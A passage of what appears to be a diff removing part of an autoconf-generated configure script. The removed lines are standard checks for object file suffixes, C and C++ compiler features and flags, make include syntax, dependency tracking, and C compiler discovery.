"%s\n" "$cross_compiling" >&6; } - -rm -f conftest.$ac_ext conftest$ac_cv_exeext conftest.out -ac_clean_files=$ac_clean_files_save -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for suffix of object files" >&5 -printf %s "checking for suffix of object files... " >&6; } -if test ${ac_cv_objext+y} -then : - printf %s "(cached) " >&6 -else $as_nop - cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -int -main (void) -{ - - ; - return 0; -} -_ACEOF -rm -f conftest.o conftest.obj -if { { ac_try="$ac_compile" -case "(($ac_try" in - *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; - *) ac_try_echo=$ac_try;; -esac -eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" -printf "%s\n" "$ac_try_echo"; } >&5 - (eval "$ac_compile") 2>&5 - ac_status=$? - printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 - test $ac_status = 0; } -then : - for ac_file in conftest.o conftest.obj conftest.*; do - test -f "$ac_file" || continue; - case $ac_file in - *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM ) ;; - *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` - break;; - esac -done -else $as_nop - printf "%s\n" "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -{ { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 -printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} -as_fn_error $? "cannot compute suffix of object files: cannot compile -See \`config.log' for more details" "$LINENO" 5; } -fi -rm -f conftest.$ac_cv_objext conftest.$ac_ext -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_objext" >&5 -printf "%s\n" "$ac_cv_objext" >&6; } -OBJEXT=$ac_cv_objext -ac_objext=$OBJEXT -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports GNU C++" >&5 -printf %s "checking whether the compiler supports GNU C++... " >&6; } -if test ${ac_cv_cxx_compiler_gnu+y} -then : - printf %s "(cached) " >&6 -else $as_nop - cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -int -main (void) -{ -#ifndef __GNUC__ - choke me -#endif - - ; - return 0; -} -_ACEOF -if ac_fn_cxx_try_compile "$LINENO" -then : - ac_compiler_gnu=yes -else $as_nop - ac_compiler_gnu=no -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext -ac_cv_cxx_compiler_gnu=$ac_compiler_gnu - -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_cxx_compiler_gnu" >&5 -printf "%s\n" "$ac_cv_cxx_compiler_gnu" >&6; } -ac_compiler_gnu=$ac_cv_cxx_compiler_gnu - -if test $ac_compiler_gnu = yes; then - GXX=yes -else - GXX= -fi -ac_test_CXXFLAGS=${CXXFLAGS+y} -ac_save_CXXFLAGS=$CXXFLAGS -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $CXX accepts -g" >&5 -printf %s "checking whether $CXX accepts -g... " >&6; } -if test ${ac_cv_prog_cxx_g+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_save_cxx_werror_flag=$ac_cxx_werror_flag - ac_cxx_werror_flag=yes - ac_cv_prog_cxx_g=no - CXXFLAGS="-g" - cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -int -main (void) -{ - - ; - return 0; -} -_ACEOF -if ac_fn_cxx_try_compile "$LINENO" -then : - ac_cv_prog_cxx_g=yes -else $as_nop - CXXFLAGS="" - cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -int -main (void) -{ - - ; - return 0; -} -_ACEOF -if ac_fn_cxx_try_compile "$LINENO" -then : - -else $as_nop - ac_cxx_werror_flag=$ac_save_cxx_werror_flag - CXXFLAGS="-g" - cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -int -main (void) -{ - - ; - return 0; -} -_ACEOF -if ac_fn_cxx_try_compile "$LINENO" -then : - ac_cv_prog_cxx_g=yes -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext - ac_cxx_werror_flag=$ac_save_cxx_werror_flag -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cxx_g" >&5 -printf "%s\n" "$ac_cv_prog_cxx_g" >&6; } -if test $ac_test_CXXFLAGS; then - CXXFLAGS=$ac_save_CXXFLAGS -elif test $ac_cv_prog_cxx_g = yes; then - if test "$GXX" = yes; then - CXXFLAGS="-g -O2" - else - CXXFLAGS="-g" - fi -else - if test "$GXX" = yes; then - CXXFLAGS="-O2" - else - CXXFLAGS= - fi -fi -ac_prog_cxx_stdcxx=no -if test x$ac_prog_cxx_stdcxx = xno -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CXX option to enable C++11 features" >&5 -printf %s "checking for $CXX option to enable C++11 features... " >&6; } -if test ${ac_cv_prog_cxx_cxx11+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_cv_prog_cxx_cxx11=no -ac_save_CXX=$CXX -cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ -$ac_cxx_conftest_cxx11_program -_ACEOF -for ac_arg in '' -std=gnu++11 -std=gnu++0x -std=c++11 -std=c++0x -qlanglvl=extended0x -AA -do - CXX="$ac_save_CXX $ac_arg" - if ac_fn_cxx_try_compile "$LINENO" -then : - ac_cv_prog_cxx_cxx11=$ac_arg -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam - test "x$ac_cv_prog_cxx_cxx11" != "xno" && break -done -rm -f conftest.$ac_ext -CXX=$ac_save_CXX -fi - -if test "x$ac_cv_prog_cxx_cxx11" = xno -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 -printf "%s\n" "unsupported" >&6; } -else $as_nop - if test "x$ac_cv_prog_cxx_cxx11" = x -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 -printf "%s\n" "none needed" >&6; } -else $as_nop - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cxx_cxx11" >&5 -printf "%s\n" "$ac_cv_prog_cxx_cxx11" >&6; } - CXX="$CXX $ac_cv_prog_cxx_cxx11" -fi - ac_cv_prog_cxx_stdcxx=$ac_cv_prog_cxx_cxx11 - ac_prog_cxx_stdcxx=cxx11 -fi -fi -if test x$ac_prog_cxx_stdcxx = xno -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CXX option to enable C++98 features" >&5 -printf %s "checking for $CXX option to enable C++98 features... " >&6; } -if test ${ac_cv_prog_cxx_cxx98+y} -then : - printf %s "(cached) " >&6 -else $as_nop - ac_cv_prog_cxx_cxx98=no -ac_save_CXX=$CXX -cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ -$ac_cxx_conftest_cxx98_program -_ACEOF -for ac_arg in '' -std=gnu++98 -std=c++98 -qlanglvl=extended -AA -do - CXX="$ac_save_CXX $ac_arg" - if ac_fn_cxx_try_compile "$LINENO" -then : - ac_cv_prog_cxx_cxx98=$ac_arg -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam - test "x$ac_cv_prog_cxx_cxx98" != "xno" && break -done -rm -f conftest.$ac_ext -CXX=$ac_save_CXX -fi - -if test "x$ac_cv_prog_cxx_cxx98" = xno -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 -printf "%s\n" "unsupported" >&6; } -else $as_nop - if test "x$ac_cv_prog_cxx_cxx98" = x -then : - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 -printf "%s\n" "none needed" >&6; } -else $as_nop - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cxx_cxx98" >&5 -printf "%s\n" "$ac_cv_prog_cxx_cxx98" >&6; } - CXX="$CXX $ac_cv_prog_cxx_cxx98" -fi - ac_cv_prog_cxx_stdcxx=$ac_cv_prog_cxx_cxx98 - ac_prog_cxx_stdcxx=cxx98 -fi -fi - -ac_ext=c -ac_cpp='$CPP $CPPFLAGS' -ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=$ac_cv_c_compiler_gnu -DEPDIR="${am__leading_dot}deps" - -ac_config_commands="$ac_config_commands depfiles" - -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether ${MAKE-make} supports the include directive" >&5 -printf %s "checking whether ${MAKE-make} supports the include directive... " >&6; } -cat > confinc.mk << 'END' -am__doit: - @echo this is the am__doit target >confinc.out -.PHONY: am__doit -END -am__include="#" -am__quote= -# BSD make does it like this. -echo '.include "confinc.mk" # ignored' > confmf.BSD -# Other make implementations (GNU, Solaris 10, AIX) do it like this. -echo 'include confinc.mk # ignored' > confmf.GNU -_am_result=no -for s in GNU BSD; do - { echo "$as_me:$LINENO: ${MAKE-make} -f confmf.$s && cat confinc.out" >&5 - (${MAKE-make} -f confmf.$s && cat confinc.out) >&5 2>&5 - ac_status=$? - echo "$as_me:$LINENO: \$? = $ac_status" >&5 - (exit $ac_status); } - case $?:`cat confinc.out 2>/dev/null` in #( - '0:this is the am__doit target') : - case $s in #( - BSD) : - am__include='.include' am__quote='"' ;; #( - *) : - am__include='include' am__quote='' ;; -esac ;; #( - *) : - ;; -esac - if test "$am__include" != "#"; then - _am_result="yes ($s style)" - break - fi -done -rm -f confinc.* confmf.* -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: ${_am_result}" >&5 -printf "%s\n" "${_am_result}" >&6; } - -# Check whether --enable-dependency-tracking was given. -if test ${enable_dependency_tracking+y} -then : - enableval=$enable_dependency_tracking; -fi - -if test "x$enable_dependency_tracking" != xno; then - am_depcomp="$ac_aux_dir/depcomp" - AMDEPBACKSLASH='\' - am__nodep='_no' -fi - if test "x$enable_dependency_tracking" != xno; then - AMDEP_TRUE= - AMDEP_FALSE='#' -else - AMDEP_TRUE='#' - AMDEP_FALSE= -fi - - - -depcc="$CXX" am_compiler_list= - -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking dependency style of $depcc" >&5 -printf %s "checking dependency style of $depcc... " >&6; } -if test ${am_cv_CXX_dependencies_compiler_type+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then - # We make a subdir and do the tests there. Otherwise we can end up - # making bogus files that we don't know about and never remove. For - # instance it was reported that on HP-UX the gcc test will end up - # making a dummy file named 'D' -- because '-MD' means "put the output - # in D". - rm -rf conftest.dir - mkdir conftest.dir - # Copy depcomp to subdir because otherwise we won't find it if we're - # using a relative directory. - cp "$am_depcomp" conftest.dir - cd conftest.dir - # We will build objects and dependencies in a subdirectory because - # it helps to detect inapplicable dependency modes. For instance - # both Tru64's cc and ICC support -MD to output dependencies as a - # side effect of compilation, but ICC will put the dependencies in - # the current directory while Tru64 will put them in the object - # directory. - mkdir sub - - am_cv_CXX_dependencies_compiler_type=none - if test "$am_compiler_list" = ""; then - am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` - fi - am__universal=false - case " $depcc " in #( - *\ -arch\ *\ -arch\ *) am__universal=true ;; - esac - - for depmode in $am_compiler_list; do - # Setup a source with many dependencies, because some compilers - # like to wrap large dependency lists on column 80 (with \), and - # we should not choose a depcomp mode which is confused by this. - # - # We need to recreate these files for each test, as the compiler may - # overwrite some of them when testing with obscure command lines. - # This happens at least with the AIX C compiler. - : > sub/conftest.c - for i in 1 2 3 4 5 6; do - echo '#include "conftst'$i'.h"' >> sub/conftest.c - # Using ": > sub/conftst$i.h" creates only sub/conftst1.h with - # Solaris 10 /bin/sh. - echo '/* dummy */' > sub/conftst$i.h - done - echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf - - # We check with '-c' and '-o' for the sake of the "dashmstdout" - # mode. It turns out that the SunPro C++ compiler does not properly - # handle '-M -o', and we need to detect this. Also, some Intel - # versions had trouble with output in subdirs. - am__obj=sub/conftest.${OBJEXT-o} - am__minus_obj="-o $am__obj" - case $depmode in - gcc) - # This depmode causes a compiler race in universal mode. - test "$am__universal" = false || continue - ;; - nosideeffect) - # After this tag, mechanisms are not by side-effect, so they'll - # only be used when explicitly requested. - if test "x$enable_dependency_tracking" = xyes; then - continue - else - break - fi - ;; - msvc7 | msvc7msys | msvisualcpp | msvcmsys) - # This compiler won't grok '-c -o', but also, the minuso test has - # not run yet. These depmodes are late enough in the game, and - # so weak that their functioning should not be impacted. - am__obj=conftest.${OBJEXT-o} - am__minus_obj= - ;; - none) break ;; - esac - if depmode=$depmode \ - source=sub/conftest.c object=$am__obj \ - depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ - $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ - >/dev/null 2>conftest.err && - grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && - grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && - grep $am__obj sub/conftest.Po > /dev/null 2>&1 && - ${MAKE-make} -s -f confmf > /dev/null 2>&1; then - # icc doesn't choke on unknown options, it will just issue warnings - # or remarks (even with -Werror). So we grep stderr for any message - # that says an option was ignored or not supported. - # When given -MP, icc 7.0 and 7.1 complain thusly: - # icc: Command line warning: ignoring option '-M'; no argument required - # The diagnosis changed in icc 8.0: - # icc: Command line remark: option '-MP' not supported - if (grep 'ignoring option' conftest.err || - grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else - am_cv_CXX_dependencies_compiler_type=$depmode - break - fi - fi - done - - cd .. - rm -rf conftest.dir -else - am_cv_CXX_dependencies_compiler_type=none -fi - -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_CXX_dependencies_compiler_type" >&5 -printf "%s\n" "$am_cv_CXX_dependencies_compiler_type" >&6; } -CXXDEPMODE=depmode=$am_cv_CXX_dependencies_compiler_type - - if - test "x$enable_dependency_tracking" != xno \ - && test "$am_cv_CXX_dependencies_compiler_type" = gcc3; then - am__fastdepCXX_TRUE= - am__fastdepCXX_FALSE='#' -else - am__fastdepCXX_TRUE='#' - am__fastdepCXX_FALSE= -fi - - - - - - - - - - - -ac_ext=c -ac_cpp='$CPP $CPPFLAGS' -ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=$ac_cv_c_compiler_gnu -if test -n "$ac_tool_prefix"; then - # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. -set dummy ${ac_tool_prefix}gcc; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_CC+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$CC"; then - ac_cv_prog_CC="$CC" # Let the user override the test. -else -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - ac_cv_prog_CC="${ac_tool_prefix}gcc" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -fi -fi -CC=$ac_cv_prog_CC -if test -n "$CC"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 -printf "%s\n" "$CC" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - -fi -if test -z "$ac_cv_prog_CC"; then - ac_ct_CC=$CC - # Extract the first word of "gcc", so it can be a program name with args. -set dummy gcc; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_ac_ct_CC+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$ac_ct_CC"; then - ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. -else -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_CC="gcc" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -fi -fi -ac_ct_CC=$ac_cv_prog_ac_ct_CC -if test -n "$ac_ct_CC"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 -printf "%s\n" "$ac_ct_CC" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - if test "x$ac_ct_CC" = x; then - CC="" - else - case $cross_compiling:$ac_tool_warned in -yes:) -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 -printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} -ac_tool_warned=yes ;; -esac - CC=$ac_ct_CC - fi -else - CC="$ac_cv_prog_CC" -fi - -if test -z "$CC"; then - if test -n "$ac_tool_prefix"; then - # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. -set dummy ${ac_tool_prefix}cc; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_CC+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$CC"; then - ac_cv_prog_CC="$CC" # Let the user override the test. -else -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - ac_cv_prog_CC="${ac_tool_prefix}cc" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -fi -fi -CC=$ac_cv_prog_CC -if test -n "$CC"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 -printf "%s\n" "$CC" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - - fi -fi -if test -z "$CC"; then - # Extract the first word of "cc", so it can be a program name with args. -set dummy cc; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_CC+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$CC"; then - ac_cv_prog_CC="$CC" # Let the user override the test. -else - ac_prog_rejected=no -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - if test "$as_dir$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then - ac_prog_rejected=yes - continue - fi - ac_cv_prog_CC="cc" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -if test $ac_prog_rejected = yes; then - # We found a bogon in the path, so make sure we never use it. - set dummy $ac_cv_prog_CC - shift - if test $# != 0; then - # We chose a different compiler from the bogus one. - # However, it has the same basename, so the bogon will be chosen - # first if we set CC to just the basename; use the full file name. - shift - ac_cv_prog_CC="$as_dir$ac_word${1+' '}$@" - fi -fi -fi -fi -CC=$ac_cv_prog_CC -if test -n "$CC"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 -printf "%s\n" "$CC" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - -fi -if test -z "$CC"; then - if test -n "$ac_tool_prefix"; then - for ac_prog in cl.exe - do - # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. -set dummy $ac_tool_prefix$ac_prog; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_CC+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$CC"; then - ac_cv_prog_CC="$CC" # Let the user override the test. -else -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - ac_cv_prog_CC="$ac_tool_prefix$ac_prog" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -fi -fi -CC=$ac_cv_prog_CC -if test -n "$CC"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 -printf "%s\n" "$CC" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - - test -n "$CC" && break - done -fi -if test -z "$CC"; then - ac_ct_CC=$CC - for ac_prog in cl.exe -do - # Extract the first word of "$ac_prog", so it can be a program name with args. -set dummy $ac_prog; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_ac_ct_CC+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$ac_ct_CC"; then - ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. -else -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_CC="$ac_prog" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -fi -fi -ac_ct_CC=$ac_cv_prog_ac_ct_CC -if test -n "$ac_ct_CC"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 -printf "%s\n" "$ac_ct_CC" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - - test -n "$ac_ct_CC" && break -done - - if test "x$ac_ct_CC" = x; then - CC="" - else - case $cross_compiling:$ac_tool_warned in -yes:) -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 -printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} -ac_tool_warned=yes ;; -esac - CC=$ac_ct_CC - fi -fi - -fi -if test -z "$CC"; then - if test -n "$ac_tool_prefix"; then - # Extract the first word of "${ac_tool_prefix}clang", so it can be a program name with args. -set dummy ${ac_tool_prefix}clang; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_CC+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$CC"; then - ac_cv_prog_CC="$CC" # Let the user override the test. -else -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - ac_cv_prog_CC="${ac_tool_prefix}clang" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -fi -fi -CC=$ac_cv_prog_CC -if test -n "$CC"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 -printf "%s\n" "$CC" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - -fi -if test -z "$ac_cv_prog_CC"; then - ac_ct_CC=$CC - # Extract the first word of "clang", so it can be a program name with args. -set dummy clang; ac_word=$2 -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 -printf %s "checking for $ac_word... " >&6; } -if test ${ac_cv_prog_ac_ct_CC+y} -then : - printf %s "(cached) " >&6 -else $as_nop - if test -n "$ac_ct_CC"; then - ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. -else -as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - for ac_exec_ext in '' $ac_executable_extensions; do - if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_CC="clang" - printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 - break 2 - fi -done - done -IFS=$as_save_IFS - -fi -fi -ac_ct_CC=$ac_cv_prog_ac_ct_CC -if test -n "$ac_ct_CC"; then - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 -printf "%s\n" "$ac_ct_CC" >&6; } -else - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 -printf "%s\n" "no" >&6; } -fi - - if test "x$ac_ct_CC" = x; then - CC="" - else - case $cross_compiling:$ac_tool_warned in -yes:) -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 -printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} -ac_tool_warned=yes ;; -esac - CC=$ac_ct_CC - fi -else - CC="$ac_cv_prog_CC" -fi - -fi - - -test -z "$CC" && { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 -printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} -as_fn_error $? "no acceptable C compiler found in \$PATH -See \`config.log' for more details" "$LINENO" 5; } - -# Provide some information about the compiler. -printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for C compiler version" >&5 -set X $ac_compile -ac_compiler=$2 -for ac_option in --version -v -V -qversion -version; do - { { ac_try="$ac_compiler $ac_option >&5" -case "(($ac_try" in - *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; - *) ac_try_echo=$ac_try;; -esac -eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" -printf "%s\n" "$ac_try_echo"; } >&5 - (eval "$ac_compiler $ac_option >&5") 2>conftest.err - ac_status=$? - if test -s conftest.err; then - sed '10a\ -... rest of stderr output deleted ... - 10q' conftest.err >conftest.er1 - cat conftest.er1 >&5 - fi - rm -f conftest.er1 conftest.err - printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 - test $ac_status = 0; } -done - -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports GNU C" >&5 -printf %s "checking whether the compiler supports GNU C... " >&6; } -if test ${ac_cv_c_compiler_gnu+y} -then : - printf %s "(cached) " >&6 -else $as_nop - cat confdefs.h - <<_ACEOF >conftest.$ac_ext -/* end confdefs.h. */ - -int -main (void) -{ -#ifndef __GNUC__ - choke me -#endif - - ; - return 0; -} -_ACEOF -if ac_fn_c_try_compile "$LINENO" -then : - ac_compiler_gnu=yes -else $as_nop - ac_compiler_gnu=no -fi -rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext -ac_cv_c_compiler_gnu=$ac_compiler_gnu - -fi -{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu" >&5 -printf "%s\n" "$ac_cv_c_compiler_gnu" >&6; } -ac_compiler_gnu=$ac_cv_c_compiler_gnu - -if test $ac_compiler_gnu = yes; then - 